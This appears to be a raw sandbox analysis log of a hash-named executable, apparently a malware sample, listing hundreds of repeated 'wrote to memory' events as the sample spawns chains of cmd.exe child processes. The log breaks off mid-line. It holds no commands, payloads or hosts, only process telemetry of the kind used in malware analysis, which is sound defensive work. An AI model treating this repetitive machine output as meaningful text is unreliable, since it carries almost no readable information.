f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 831 PID 6660 wrote to memory of 6936 6660 cmd.exe 833 PID 6660 wrote to memory of 6936 6660 cmd.exe 833 PID 6660 wrote to memory of 6936 6660 cmd.exe 833 PID 6660 wrote to memory of 6756 6660 cmd.exe 834 PID 6660 wrote to memory of 6756 6660 cmd.exe 834 PID 6660 wrote to memory of 6756 6660 cmd.exe 834 PID 6660 wrote to memory of 7008 6660 cmd.exe 835 PID 6660 wrote to memory of 7008 6660 cmd.exe 835 PID 6660 wrote to memory of 7008 6660 cmd.exe 835 PID 7008 wrote to memory of 6796 7008 cmd.exe 836 PID 7008 wrote to memory of 6796 7008 cmd.exe 836 PID 7008 wrote to memory of 6796 7008 cmd.exe 836 PID 6660 wrote to memory of 6632 6660 cmd.exe 837 PID 6660 wrote to memory of 6632 6660 cmd.exe 837 PID 6660 wrote to memory of 6632 6660 cmd.exe 837 PID 3800 wrote to memory of 4060 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 838 PID 3800 wrote to memory of 4060 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 838 PID 3800 wrote to memory of 4060 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 838 PID 4060 wrote to memory of 6972 4060 cmd.exe 840 PID 4060 wrote to memory of 6972 4060 cmd.exe 840 PID 4060 wrote to memory of 6972 4060 cmd.exe 840 PID 4060 wrote to memory of 6992 4060 cmd.exe 841 PID 4060 wrote to memory of 6992 4060 cmd.exe 841 PID 4060 wrote to memory of 6992 4060 cmd.exe 841 PID 4060 wrote to memory of 7140 4060 cmd.exe 842 PID 4060 wrote to memory of 7140 4060 cmd.exe 842 PID 4060 wrote to memory of 7140 4060 cmd.exe 842 PID 7140 wrote to memory of 512 7140 cmd.exe 843 PID 7140 wrote to memory of 512 7140 cmd.exe 843 PID 7140 wrote to memory of 512 7140 cmd.exe 843 PID 4060 wrote to memory of 6456 4060 cmd.exe 844 PID 4060 wrote to memory of 6456 4060 cmd.exe 844 PID 4060 wrote to memory of 6456 4060 cmd.exe 844 PID 3800 wrote to memory of 6648 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 845 PID 3800 wrote to memory of 6648 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 845 PID 3800 wrote to memory of 6648 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 845 PID 6648 wrote to memory of 6336 6648 cmd.exe 847 PID 6648 wrote to memory of 6336 6648 cmd.exe 847 PID 6648 wrote to memory of 6336 6648 cmd.exe 847 PID 6648 wrote to memory of 652 6648 cmd.exe 848 PID 6648 wrote to memory of 652 6648 cmd.exe 848 PID 6648 wrote to memory of 652 6648 cmd.exe 848 PID 6648 wrote to memory of 6344 6648 cmd.exe 849 PID 6648 wrote to memory of 6344 6648 cmd.exe 849 PID 6648 wrote to memory of 6344 6648 cmd.exe 849 PID 6344 wrote to memory of 6268 6344 cmd.exe 850 PID 6344 wrote to memory of 6268 6344 cmd.exe 850 PID 6344 wrote to memory of 6268 6344 cmd.exe 850 PID 6648 wrote to memory of 4024 6648 cmd.exe 851 PID 6648 wrote to memory of 4024 6648 cmd.exe 851 PID 6648 wrote to memory of 4024 6648 cmd.exe 851 PID 3800 wrote to memory of 3936 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 852 PID 3800 wrote to memory of 3936 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 852 PID 3800 wrote to memory of 3936 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 852 PID 3936 wrote to memory of 6496 3936 cmd.exe 854 PID 3936 wrote to memory of 6496 3936 cmd.exe 854 PID 3936 wrote to memory of 6496 3936 cmd.exe 854 PID 3936 wrote to memory of 6908 3936 cmd.exe 855 PID 3936 wrote to memory of 6908 3936 cmd.exe 855 PID 3936 wrote to memory of 6908 3936 cmd.exe 855 PID 3936 wrote to memory of 1100 3936 cmd.exe 856 PID 3936 wrote to memory of 1100 3936 cmd.exe 856 PID 3936 wrote to memory of 1100 3936 cmd.exe 856 PID 1100 wrote to memory of 772 1100 cmd.exe 857 PID 1100 wrote to memory of 772 1100 cmd.exe 857 PID 1100 wrote to memory of 772 1100 cmd.exe 857 PID 3936 wrote to memory of 1996 3936 cmd.exe 858 PID 3936 wrote to memory of 1996 3936 cmd.exe 858 PID 3936 wrote to memory of 1996 3936 cmd.exe 858 PID 3800 wrote to memory of 6668 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 859 PID 3800 wrote to memory of 6668 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 859 PID 3800 wrote to memory of 6668 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 859 PID 6668 wrote to memory of 1240 6668 cmd.exe 861 PID 6668 wrote to memory of 1240 6668 cmd.exe 861 PID 6668 wrote to memory of 1240 6668 cmd.exe 861 PID 6668 wrote to memory of 7092 6668 cmd.exe 862 PID 6668 wrote to memory of 7092 6668 cmd.exe 862 PID 6668 wrote to memory of 7092 6668 cmd.exe 862 PID 6668 wrote to memory of 5856 6668 cmd.exe 863 PID 6668 wrote to memory of 5856 6668 cmd.exe 863 PID 6668 wrote to memory of 5856 6668 cmd.exe 863 PID 5856 wrote to memory of 7024 5856 cmd.exe 864 PID 5856 wrote to memory of 7024 5856 cmd.exe 864 PID 5856 wrote to memory of 7024 5856 cmd.exe 864 PID 6668 wrote to memory of 1444 6668 cmd.exe 865 PID 6668 wrote to memory of 1444 6668 cmd.exe 865 PID 6668 wrote to memory of 1444 6668 cmd.exe 865 PID 3800 wrote to memory of 1304 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 866 PID 3800 wrote to memory of 1304 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 866 PID 3800 wrote to memory of 1304 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 866 PID 1304 wrote to memory of 6436 1304 cmd.exe 868 PID 1304 wrote to memory of 6436 1304 cmd.exe 868 PID 1304 wrote to memory of 6436 1304 cmd.exe 868 PID 1304 wrote to memory of 500 1304 cmd.exe 869 PID 1304 wrote to memory of 500 1304 cmd.exe 869 PID 1304 wrote to memory of 500 1304 cmd.exe 869 PID 1304 wrote to memory of 6712 1304 cmd.exe 870 PID 1304 wrote to memory of 6712 1304 cmd.exe 870 PID 1304 wrote to memory of 6712 1304 cmd.exe 870 PID 6712 wrote to memory of 6912 6712 cmd.exe 871 PID 6712 wrote to memory of 6912 6712 cmd.exe 871 PID 6712 wrote to memory of 6912 6712 cmd.exe 871 PID 1304 wrote to memory of 5604 1304 cmd.exe 872 PID 1304 wrote to memory of 5604 1304 cmd.exe 872 PID 1304 wrote to memory of 5604 1304 cmd.exe 872 PID 3800 wrote to memory of 6172 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 873 PID 3800 wrote to memory of 6172 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 873 PID 3800 wrote to memory of 6172 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 873 PID 6172 wrote to memory of 6764 6172 cmd.exe 875 PID 6172 wrote to memory of 6764 6172 cmd.exe 875 PID 6172 wrote to memory of 6764 6172 cmd.exe 875 PID 6172 wrote to memory of 6536 6172 cmd.exe 876 PID 6172 wrote to memory of 6536 6172 cmd.exe 876 PID 6172 wrote to memory of 6536 6172 cmd.exe 876 PID 6172 wrote to memory of 1408 6172 cmd.exe 877 PID 6172 wrote to memory of 1408 6172 cmd.exe 877 PID 6172 wrote to memory of 1408 6172 cmd.exe 877 PID 1408 wrote to memory of 6480 1408 cmd.exe 878 PID 1408 wrote to memory of 6480 1408 cmd.exe 878 PID 1408 wrote to memory of 6480 1408 cmd.exe 878 PID 6172 wrote to memory of 6272 6172 cmd.exe 879 PID 6172 wrote to memory of 6272 6172 cmd.exe 879 PID 6172 wrote to memory of 6272 6172 cmd.exe 879 PID 3800 wrote to memory of 2588 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 880 PID 3800 wrote to memory of 2588 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 880 PID 3800 wrote to memory of 2588 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 880 PID 2588 wrote to memory of 2888 2588 cmd.exe 882 PID 2588 wrote to memory of 2888 2588 cmd.exe 882 PID 2588 wrote to memory of 2888 2588 cmd.exe 882 PID 2588 wrote to memory of 6300 2588 cmd.exe 883 PID 2588 wrote to memory of 6300 2588 cmd.exe 883 PID 2588 wrote to memory of 6300 2588 cmd.exe 883 PID 2588 wrote to memory of 6688 2588 cmd.exe 884 PID 2588 wrote to memory of 6688 2588 cmd.exe 884 PID 2588 wrote to memory of 6688 2588 cmd.exe 884 PID 6688 wrote to memory of 7096 6688 cmd.exe 885 PID 6688 wrote to memory of 7096 6688 cmd.exe 885 PID 6688 wrote to memory of 7096 6688 cmd.exe 885 PID 2588 wrote to memory of 692 2588 cmd.exe 886 PID 2588 wrote to memory of 692 2588 cmd.exe 886 PID 2588 wrote to memory of 692 2588 cmd.exe 886 PID 3800 wrote to memory of 6880 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 887 PID 3800 wrote to memory of 6880 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 887 PID 3800 wrote to memory of 6880 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 887 PID 6880 wrote to memory of 6332 6880 cmd.exe 889 PID 6880 wrote to memory of 6332 6880 cmd.exe 889 PID 6880 wrote to memory of 6332 6880 cmd.exe 889 PID 6880 wrote to memory of 6524 6880 cmd.exe 890 PID 6880 wrote to memory of 6524 6880 cmd.exe 890 PID 6880 wrote to memory of 6524 6880 cmd.exe 890 PID 6880 wrote to memory of 6820 6880 cmd.exe 891 PID 6880 wrote to memory of 6820 6880 cmd.exe 891 PID 6880 wrote to memory of 6820 6880 cmd.exe 891 PID 6820 wrote to memory of 7016 6820 cmd.exe 892 PID 6820 wrote to memory of 7016 6820 cmd.exe 892 PID 6820 wrote to memory of 7016 6820 cmd.exe 892 PID 6880 wrote to memory of 6616 6880 cmd.exe 893 PID 6880 wrote to memory of 6616 6880 cmd.exe 893 PID 6880 wrote to memory of 6616 6880 cmd.exe 893 PID 3800 wrote to memory of 6412 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 894 PID 3800 wrote to memory of 6412 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 894 PID 3800 wrote to memory of 6412 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 894 PID 6412 wrote to memory of 6636 6412 cmd.exe 896 PID 6412 wrote to memory of 6636 6412 cmd.exe 896 PID 6412 wrote to memory of 6636 6412 cmd.exe 896 PID 6412 wrote to memory of 6792 6412 cmd.exe 897 PID 6412 wrote to memory of 6792 6412 cmd.exe 897 PID 6412 wrote to memory of 6792 6412 cmd.exe 897 PID 6412 wrote to memory of 6784 6412 cmd.exe 898 PID 6412 wrote to memory of 6784 6412 cmd.exe 898 PID 6412 wrote to memory of 6784 6412 cmd.exe 898 PID 6784 wrote to memory of 6448 6784 cmd.exe 899 PID 6784 wrote to memory of 6448 6784 cmd.exe 899 PID 6784 wrote to memory of 6448 6784 cmd.exe 899 PID 6412 wrote to memory of 6728 6412 cmd.exe 900 PID 6412 wrote to memory of 6728 6412 cmd.exe 900 PID 6412 wrote to memory of 6728 6412 cmd.exe 900 PID 3800 wrote to memory of 6200 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 901 PID 3800 wrote to memory of 6200 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 901 PID 3800 wrote to memory of 6200 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 901 PID 6200 wrote to memory of 1272 6200 cmd.exe 903 PID 6200 wrote to memory of 1272 6200 cmd.exe 903 PID 6200 wrote to memory of 1272 6200 cmd.exe 903 PID 6200 wrote to memory of 6244 6200 cmd.exe 904 PID 6200 wrote to memory of 6244 6200 cmd.exe 904 PID 6200 wrote to memory of 6244 6200 cmd.exe 904 PID 6200 wrote to memory of 7012 6200 cmd.exe 905 PID 6200 wrote to memory of 7012 6200 cmd.exe 905 PID 6200 wrote to memory of 7012 6200 cmd.exe 905 PID 7012 wrote to memory of 1800 7012 cmd.exe 906 PID 7012 wrote to memory of 1800 7012 cmd.exe 906 PID 7012 wrote to memory of 1800 7012 cmd.exe 906 PID 6200 wrote to memory of 4940 6200 cmd.exe 907 PID 6200 wrote to memory of 4940 6200 cmd.exe 907 PID 6200 wrote to memory of 4940 6200 cmd.exe 907 PID 3800 wrote to memory of 6356 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 908 PID 3800 wrote to memory of 6356 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 908 PID 3800 wrote to memory of 6356 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 908 PID 6356 wrote to memory of 6916 6356 cmd.exe 910 PID 6356 wrote to memory of 6916 6356 cmd.exe 910 PID 6356 wrote to memory of 6916 6356 cmd.exe 910 PID 6356 wrote to memory of 6968 6356 cmd.exe 911 PID 6356 wrote to memory of 6968 6356 cmd.exe 911 PID 6356 wrote to memory of 6968 6356 cmd.exe 911 PID 6356 wrote to memory of 1560 6356 cmd.exe 912 PID 6356 wrote to memory of 1560 6356 cmd.exe 912 PID 6356 wrote to memory of 1560 6356 cmd.exe 912 PID 1560 wrote to memory of 6780 1560 cmd.exe 913 PID 1560 wrote to memory of 6780 1560 cmd.exe 913 PID 1560 wrote to memory of 6780 1560 cmd.exe 913 PID 6356 wrote to memory of 6572 6356 cmd.exe 914 PID 6356 wrote to memory of 6572 6356 cmd.exe 914 PID 6356 wrote to memory of 6572 6356 cmd.exe 914 PID 3800 wrote to memory of 6368 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 915 PID 3800 wrote to memory of 6368 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 915 PID 3800 wrote to memory of 6368 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 915 PID 6368 wrote to memory of 6260 6368 cmd.exe 917 PID 6368 wrote to memory of 6260 6368 cmd.exe 917 PID 6368 wrote to memory of 6260 6368 cmd.exe 917 PID 6368 wrote to memory of 6680 6368 cmd.exe 918 PID 6368 wrote to memory of 6680 6368 cmd.exe 918 PID 6368 wrote to memory of 6680 6368 cmd.exe 918 PID 6368 wrote to memory of 6296 6368 cmd.exe 919 PID 6368 wrote to memory of 6296 6368 cmd.exe 919 PID 6368 wrote to memory of 6296 6368 cmd.exe 919 PID 6296 wrote to memory of 7060 6296 cmd.exe 920 PID 6296 wrote to memory of 7060 6296 cmd.exe 920 PID 6296 wrote to memory of 7060 6296 cmd.exe 920 PID 6368 wrote to memory of 6924 6368 cmd.exe 921 PID 6368 wrote to memory of 6924 6368 cmd.exe 921 PID 6368 wrote to memory of 6924 6368 cmd.exe 921 PID 3800 wrote to memory of 6656 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 922 PID 3800 wrote to memory of 6656 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 922 PID 3800 wrote to memory of 6656 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 922 PID 6656 wrote to memory of 6248 6656 cmd.exe 924 PID 6656 wrote to memory of 6248 6656 cmd.exe 924 PID 6656 wrote to memory of 6248 6656 cmd.exe 924 PID 6656 wrote to memory of 6732 6656 cmd.exe 925 PID 6656 wrote to memory of 6732 6656 cmd.exe 925 PID 6656 wrote to memory of 6732 6656 cmd.exe 925 PID 6656 wrote to memory of 6956 6656 cmd.exe 926 PID 6656 wrote to memory of 6956 6656 cmd.exe 926 PID 6656 wrote to memory of 6956 6656 cmd.exe 926 PID 6956 wrote to memory of 6836 6956 cmd.exe 927 PID 6956 wrote to memory of 6836 6956 cmd.exe 927 PID 6956 wrote to memory of 6836 6956 cmd.exe 927 PID 6656 wrote to memory of 6392 6656 cmd.exe 928 PID 6656 wrote to memory of 6392 6656 cmd.exe 928 PID 6656 wrote to memory of 6392 6656 cmd.exe 928 PID 3800 wrote to memory of 6520 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 929 PID 3800 wrote to memory of 6520 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 929 PID 3800 wrote to memory of 6520 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 929 PID 6520 wrote to memory of 6708 6520 cmd.exe 931 PID 6520 wrote to memory of 6708 6520 cmd.exe 931 PID 6520 wrote to memory of 6708 6520 cmd.exe 931 PID 6520 wrote to memory of 7156 6520 cmd.exe 932 PID 6520 wrote to memory of 7156 6520 cmd.exe 932 PID 6520 wrote to memory of 7156 6520 cmd.exe 932 PID 6520 wrote to memory of 6604 6520 cmd.exe 933 PID 6520 wrote to memory of 6604 6520 cmd.exe 933 PID 6520 wrote to memory of 6604 6520 cmd.exe 933 PID 6604 wrote to memory of 6396 6604 cmd.exe 934 PID 6604 wrote to memory of 6396 6604 cmd.exe 934 PID 6604 wrote to memory of 6396 6604 cmd.exe 934 PID 6520 wrote to memory of 7076 6520 cmd.exe 935 PID 6520 wrote to memory of 7076 6520 cmd.exe 935 PID 6520 wrote to memory of 7076 6520 cmd.exe 935 PID 3800 wrote to memory of 6564 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 936 PID 3800 wrote to memory of 6564 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 936 PID 3800 wrote to memory of 6564 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 936 PID 6564 wrote to memory of 2316 6564 cmd.exe 938 PID 6564 wrote to memory of 2316 6564 cmd.exe 938 PID 6564 wrote to memory of 2316 6564 cmd.exe 938 PID 6564 wrote to memory of 6844 6564 cmd.exe 939 PID 6564 wrote to memory of 6844 6564 cmd.exe 939 PID 6564 wrote to memory of 6844 6564 cmd.exe 939 PID 6564 wrote to memory of 6884 6564 cmd.exe 940 PID 6564 wrote to memory of 6884 6564 cmd.exe 940 PID 6564 wrote to memory of 6884 6564 cmd.exe 940 PID 6884 wrote to memory of 6380 6884 cmd.exe 941 PID 6884 wrote to memory of 6380 6884 cmd.exe 941 PID 6884 wrote to memory of 6380 6884 cmd.exe 941 PID 6564 wrote to memory of 6440 6564 cmd.exe 942 PID 6564 wrote to memory of 6440 6564 cmd.exe 942 PID 6564 wrote to memory of 6440 6564 cmd.exe 942 PID 3800 wrote to memory of 4672 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 943 PID 3800 wrote to memory of 4672 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 943 PID 3800 wrote to memory of 4672 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 943 PID 4672 wrote to memory of 6624 4672 cmd.exe 945 PID 4672 wrote to memory of 6624 4672 cmd.exe 945 PID 4672 wrote to memory of 6624 4672 cmd.exe 945 PID 4672 wrote to memory of 6488 4672 cmd.exe 946 PID 4672 wrote to memory of 6488 4672 cmd.exe 946 PID 4672 wrote to memory of 6488 4672 cmd.exe 946 PID 4672 wrote to memory of 4344 4672 cmd.exe 947 PID 4672 wrote to memory of 4344 4672 cmd.exe 947 PID 4672 wrote to memory of 4344 4672 cmd.exe 947 PID 4344 wrote to memory of 6960 4344 cmd.exe 948 PID 4344 wrote to memory of 6960 4344 cmd.exe 948 PID 4344 wrote to memory of 6960 4344 cmd.exe 948 PID 4672 wrote to memory of 2640 4672 cmd.exe 949 PID 4672 wrote to memory of 2640 4672 cmd.exe 949 PID 4672 wrote to memory of 2640 4672 cmd.exe 949 PID 3800 wrote to memory of 6944 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 950 PID 3800 wrote to memory of 6944 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 950 PID 3800 wrote to memory of 6944 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 950 PID 6944 wrote to memory of 4884 6944 cmd.exe 952 PID 6944 wrote to memory of 4884 6944 cmd.exe 952 PID 6944 wrote to memory of 4884 6944 cmd.exe 952 PID 6944 wrote to memory of 6788 6944 cmd.exe 953 PID 6944 wrote to memory of 6788 6944 cmd.exe 953 PID 6944 wrote to memory of 6788 6944 cmd.exe 953 PID 6944 wrote to memory of 2736 6944 cmd.exe 954 PID 6944 wrote to memory of 2736 6944 cmd.exe 954 PID 6944 wrote to memory of 2736 6944 cmd.exe 954 PID 2736 wrote to memory of 7120 2736 cmd.exe 955 PID 2736 wrote to memory of 7120 2736 cmd.exe 955 PID 2736 wrote to memory of 7120 2736 cmd.exe 955 PID 6944 wrote to memory of 264 6944 cmd.exe 956 PID 6944 wrote to memory of 264 6944 cmd.exe 956 PID 6944 wrote to memory of 264 6944 cmd.exe 956 PID 3800 wrote to memory of 6208 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 957 PID 3800 wrote to memory of 6208 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 957 PID 3800 wrote to memory of 6208 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 957 PID 6208 wrote to memory of 6460 6208 cmd.exe 959 PID 6208 wrote to memory of 6460 6208 cmd.exe 959 PID 6208 wrote to memory of 6460 6208 cmd.exe 959 PID 6208 wrote to memory of 1196 6208 cmd.exe 960 PID 6208 wrote to memory of 1196 6208 cmd.exe 960 PID 6208 wrote to memory of 1196 6208 cmd.exe 960 PID 6208 wrote to memory of 6640 6208 cmd.exe 961 PID 6208 wrote to memory of 6640 6208 cmd.exe 961 PID 6208 wrote to memory of 6640 6208 cmd.exe 961 PID 6640 wrote to memory of 6964 6640 cmd.exe 962 PID 6640 wrote to memory of 6964 6640 cmd.exe 962 PID 6640 wrote to memory of 6964 6640 cmd.exe 962 PID 6208 wrote to memory of 3952 6208 cmd.exe 963 PID 6208 wrote to memory of 3952 6208 cmd.exe 963 PID 6208 wrote to memory of 3952 6208 cmd.exe 963 PID 3800 wrote to memory of 6324 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 964 PID 3800 wrote to memory of 6324 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 964 PID 3800 wrote to memory of 6324 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 964 PID 6324 wrote to memory of 6156 6324 cmd.exe 966 PID 6324 wrote to memory of 6156 6324 cmd.exe 966 PID 6324 wrote to memory of 6156 6324 cmd.exe 966 PID 6324 wrote to memory of 7124 6324 cmd.exe 967 PID 6324 wrote to memory of 7124 6324 cmd.exe 967 PID 6324 wrote to memory of 7124 6324 cmd.exe 967 PID 6324 wrote to memory of 6808 6324 cmd.exe 968 PID 6324 wrote to memory of 6808 6324 cmd.exe 968 PID 6324 wrote to memory of 6808 6324 cmd.exe 968 PID 6808 wrote to memory of 6180 6808 cmd.exe 969 PID 6808 wrote to memory of 6180 6808 cmd.exe 969 PID 6808 wrote to memory of 6180 6808 cmd.exe 969 PID 6324 wrote to memory of 7088 6324 cmd.exe 970 PID 6324 wrote to memory of 7088 6324 cmd.exe 970 PID 6324 wrote to memory of 7088 6324 cmd.exe 970 PID 3800 wrote to memory of 6544 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 971 PID 3800 wrote to memory of 6544 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 971 PID 3800 wrote to memory of 6544 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 971 PID 6544 wrote to memory of 2900 6544 cmd.exe 973 PID 6544 wrote to memory of 2900 6544 cmd.exe 973 PID 6544 wrote to memory of 2900 6544 cmd.exe 973 PID 6544 wrote to memory of 6308 6544 cmd.exe 974 PID 6544 wrote to memory of 6308 6544 cmd.exe 974 PID 6544 wrote to memory of 6308 6544 cmd.exe 974 PID 6544 wrote to memory of 1512 6544 cmd.exe 975 PID 6544 wrote to memory of 1512 6544 cmd.exe 975 PID 6544 wrote to memory of 1512 6544 cmd.exe 975 PID 1512 wrote to memory of 4652 1512 cmd.exe 976 PID 1512 wrote to memory of 4652 1512 cmd.exe 976 PID 1512 wrote to memory of 4652 1512 cmd.exe 976 PID 6544 wrote to memory of 7164 6544 cmd.exe 977 PID 6544 wrote to memory of 7164 6544 cmd.exe 977 PID 6544 wrote to memory of 7164 6544 cmd.exe 977 PID 3800 wrote to memory of 4668 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 978 PID 3800 wrote to memory of 4668 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 978 PID 3800 wrote to memory of 4668 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 978 PID 4668 wrote to memory of 7148 4668 cmd.exe 980 PID 4668 wrote to memory of 7148 4668 cmd.exe 980 PID 4668 wrote to memory of 7148 4668 cmd.exe 980 PID 4668 wrote to memory of 6552 4668 cmd.exe 981 PID 4668 wrote to memory of 6552 4668 cmd.exe 981 PID 4668 wrote to memory of 6552 4668 cmd.exe 981 PID 4668 wrote to memory of 4704 4668 cmd.exe 982 PID 4668 wrote to memory of 4704 4668 cmd.exe 982 PID 4668 wrote to memory of 4704 4668 cmd.exe 982 PID 4704 wrote to memory of 6328 4704 cmd.exe 983 PID 4704 wrote to memory of 6328 4704 cmd.exe 983 PID 4704 wrote to memory of 6328 4704 cmd.exe 983 PID 4668 wrote to memory of 2196 4668 cmd.exe 984 PID 4668 wrote to memory of 2196 4668 cmd.exe 984 PID 4668 wrote to memory of 2196 4668 cmd.exe 984 PID 3800 wrote to memory of 6420 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 985 PID 3800 wrote to memory of 6420 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 985 PID 3800 wrote to memory of 6420 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 985 PID 6420 wrote to memory of 3896 6420 cmd.exe 987 PID 6420 wrote to memory of 3896 6420 cmd.exe 987 PID 6420 wrote to memory of 3896 6420 cmd.exe 987 PID 6420 wrote to memory of 2500 6420 cmd.exe 988 PID 6420 wrote to memory of 2500 6420 cmd.exe 988 PID 6420 wrote to memory of 2500 6420 cmd.exe 988 PID 6420 wrote to memory of 4764 6420 cmd.exe 989 PID 6420 wrote to memory of 4764 6420 cmd.exe 989 PID 6420 wrote to memory of 4764 6420 cmd.exe 989 PID 4764 wrote to memory of 7172 4764 cmd.exe 990 PID 4764 wrote to memory of 7172 4764 cmd.exe 990 PID 4764 wrote to memory of 7172 4764 cmd.exe 990 PID 6420 wrote to memory of 7196 6420 cmd.exe 991 PID 6420 wrote to memory of 7196 6420 cmd.exe 991 PID 6420 wrote to memory of 7196 6420 cmd.exe 991 PID 3800 wrote to memory of 7220 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 992 PID 3800 wrote to memory of 7220 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 992 PID 3800 wrote to memory of 7220 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 992 PID 7220 wrote to memory of 7268 7220 cmd.exe 994 PID 7220 wrote to memory of 7268 7220 cmd.exe 994 PID 7220 wrote to memory of 7268 7220 cmd.exe 994 PID 7220 wrote to memory of 7288 7220 cmd.exe 995 PID 7220 wrote to memory of 7288 